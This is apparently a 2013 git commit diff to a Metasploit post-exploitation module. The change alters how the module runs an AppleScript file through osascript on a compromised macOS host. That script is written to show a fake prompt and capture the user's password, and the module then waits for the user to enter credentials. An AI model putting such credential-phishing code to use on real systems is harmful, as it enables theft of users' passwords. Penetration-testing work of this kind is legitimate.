Improved meterpreter compatibility

bug/bundler_fix
Peter Toth 2013-12-02 21:43:58 +01:00
parent 95a98529c4
commit 44e37f1b98
1 changed files with 5 additions and 5 deletions

View File

@ -58,10 +58,10 @@ class Metasploit3 < Msf::Post
], self.class)
end
def cmd_exec(str)
print_status "Running cmd '#{str}'..."
super
end
# def cmd_exec(str, args)
# print_status "Running cmd '#{str} #{args}'..."
# super
# end
# Run Method for when run command is issued
def run
@ -89,7 +89,7 @@ class Metasploit3 < Msf::Post
# write the credentials script and run
write_file(creds_osa,creds_script(pass_file))
cmd_exec("cat #{creds_osa} | osascript")
cmd_exec("osascript #{creds_osa}")
print_status("Waiting for user '#{username}' to enter credentials...")